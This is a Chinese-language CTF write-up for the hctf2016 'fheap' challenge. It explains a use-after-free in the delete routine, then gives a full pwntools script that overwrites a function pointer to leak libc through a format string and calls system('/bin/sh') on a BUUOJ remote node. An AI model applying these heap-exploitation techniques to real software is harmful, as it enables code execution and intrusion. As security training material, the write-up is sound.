hctf2016_fheap
首先,检查一下程序的保护机制
然后,我们用IDA分析一下,add函数中,如果字符串长度大于15,则单独malloc一块内存存放字符串,否则直接存结点里。
Delete功能没有清空指针,因此,存在UAF,
我们可以第字节将节点里的free代理函数指针修改掉,利用低字节覆盖,使其指向printf函数plt表,这样,当我们用UAF去delete这个堆时,就会调用printf,这样我们可以利用格式化字符串去泄露数据。然后就可以利用UAF,去执行system函数了。
#coding:utf8
#需要爆破4bit
from pwn import *
context.log_level = 'debug'
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def add(size,content):
sh.sendlineafter('3.quit','create ')
sh.sendlineafter('size:',str(size + 1))
sh.sendafter('str:',content + '\x00')
def delete(index):
sh.sendlineafter('3.quit','delete ')
sh.sendlineafter('id:',str(index))
sh.sendlineafter('Are you sure?:','yes')
def exploit():
add(0x10,'a'*0x10) #0
add(0x10,'b'*0x10) #1
delete(1)
delete(0)
#低字节覆盖为printf
add(0x20,'%22$p'.ljust(0x18,'b') + p16(0x59D0)) #0
delete(1)
sh.recvuntil('0x')
libc_base = int(sh.recvuntil('b',drop = True),16) - libc.symbols['_IO_2_1_stdout_']
system_addr = libc_base + libc.sym['system']
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
#再用同样的方法,将函数指针覆盖为system
add(0x10,'a'*0x10) #1
add(0x10,'b'*0x10) #2
delete(2)
delete(1)
add(0x20,'/bin/sh;'.ljust(0x18,'a') + p64(system_addr))
#getshell
delete(2)
while True:
try:
global sh
#sh = process('./pwn-f')
sh = remote('node3.buuoj.cn',28400)
exploit()
sh.interactive()
except:
sh.close()
print 'trying...'
sh.interactive()